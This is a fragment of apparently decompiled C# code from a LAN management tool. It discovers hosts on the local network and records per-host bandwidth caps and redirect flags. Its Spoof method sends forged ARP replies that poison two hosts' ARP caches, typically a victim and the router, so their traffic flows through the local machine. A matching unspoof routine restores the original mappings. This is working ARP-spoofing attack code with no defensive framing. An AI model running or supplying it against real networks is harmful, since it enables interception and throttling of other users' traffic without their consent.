public void NicIsSelected(NetworkInterface nic)
{
pcs = new PcList();
pcs.SetCallBackOnNewPC(CallbackOnNewPC);
pcs.SetCallBackOnPCRemove(callbackOnPCRemove);
nicNet = nic;
/* modopt(System.Runtime.CompilerServices.IsConst) */
CArp cArp = new CArp(nic, this.pcs);
this.cArp = cArp;
cArp.startArpListener();
this.cArp.findMacRouter();
PC pC = new PC()
{
ip = new IPAddress(this.cArp.localIP),
mac = new PhysicalAddress(this.cArp.localMAC),
CapDown = 0,
CapUp = 0,
isLocalPc = true,
name = "",
nbPacketReceivedSinceLastReset = 0,
nbPacketSentSinceLastReset = 0,
redirect = false,
timeSinceLastRarp = DateTime.Now,
totalPacketReceived = 0,
totalPacketSent = 0,
isGateway = false
};
this.pcs.addPcToList(pC);
this.timer2.Interval = 5000;
this.timer2.Start();
this.treeGridView1.Nodes[0].Expand();
cArp.startArpDiscovery();
}
public CArp(NetworkInterface networkInterface, PcList pclist)
{
pcList = pclist;
this.networkInterface = networkInterface;
int num = 0;
if (0 < networkInterface.GetIPProperties().UnicastAddresses.Count)
{
do
{
if (!Convert.ToString(this.networkInterface.GetIPProperties().UnicastAddresses[num].Address.AddressFamily).EndsWith("V6"))
{
CArp addressBytes = this;
addressBytes.localIP = addressBytes.networkInterface.GetIPProperties().UnicastAddresses[num].Address.GetAddressBytes();
CArp cArp = this;
cArp.netmask = cArp.networkInterface.GetIPProperties().UnicastAddresses[num].IPv4Mask.GetAddressBytes();
}
num++;
}while (num < this.networkInterface.GetIPProperties().UnicastAddresses.Count);
}
CArp addressBytes1 = this;
addressBytes1.localMAC = addressBytes1.networkInterface.GetPhysicalAddress().GetAddressBytes();
if (this.networkInterface.GetIPProperties().GatewayAddresses.Count > 0)
{
CArp cArp1 = this;
cArp1.routerIP = cArp1.networkInterface.GetIPProperties().GatewayAddresses[0].Address.GetAddressBytes();
}
byte[] numArray = new byte[6];
broadcastMac = numArray;
int num1 = 0;
do
{
numArray[num1] = 255;
num1++;
}while (num1 < 6);
pcaparp = new CPcapNet();
pcapredirect = new CPcapNet();
//arpListenerThreadTerminated = new EventWaitHandle(false, EventResetMode.AutoReset);
//redirectorThreadTerminated = new EventWaitHandle(false, EventResetMode.AutoReset);
//discovererThreadTerminated = new EventWaitHandle(false, EventResetMode.AutoReset);
isListeningArp = false;
isDiscovering = false;
isRedirecting = false;
}
public void Spoof(IPAddress ip1, IPAddress ip2)
{
PC pCFromIP = pcList.getPCFromIP(ip1.GetAddressBytes());
PC pC = pcList.getPCFromIP(ip2.GetAddressBytes());
if (pCFromIP != null && pC != null)
{
byte[] numArray = localMAC;
pcaparp.pcapnet_sendpacket(buildArpPacket(pCFromIP.mac.GetAddressBytes(), numArray, 2, numArray, pC.ip.GetAddressBytes(), pCFromIP.mac.GetAddressBytes(), pCFromIP.ip.GetAddressBytes()));
byte[] numArray1 = localMAC;
pcaparp.pcapnet_sendpacket(buildArpPacket(pC.mac.GetAddressBytes(), numArray1, 2, numArray1, pCFromIP.ip.GetAddressBytes(), pC.mac.GetAddressBytes(), pC.ip.GetAddressBytes()));
CArp cArp = this;
pcaparp.pcapnet_sendpacket(cArp.buildArpPacket(cArp.localMAC, pC.mac.GetAddressBytes(), 2, pC.mac.GetAddressBytes(), pC.ip.GetAddressBytes(), localMAC, localIP));
byte[] numArray2 = localMAC;
pcaparp.pcapnet_sendpacket(buildArpPacket(numArray2, numArray2, 2, pCFromIP.mac.GetAddressBytes(), pCFromIP.ip.GetAddressBytes(), localMAC, localIP));
}
}
public void completeUnspoof()
{
PC router = pcList.getRouter();
if (router != null)
{
int num = 0;
if (0 < pcList.pclist.Count)
{
do
{
CArp cArp = this;
cArp.UnSpoof(((PC)cArp.pcList.pclist[num]).ip, router.ip);
num++;
}while (num < pcList.pclist.Count);
}
}
}
public void findMacRouter()
{
CArp cArp = this;
cArp.FindMac((new IPAddress(cArp.routerIP)).ToString());
}
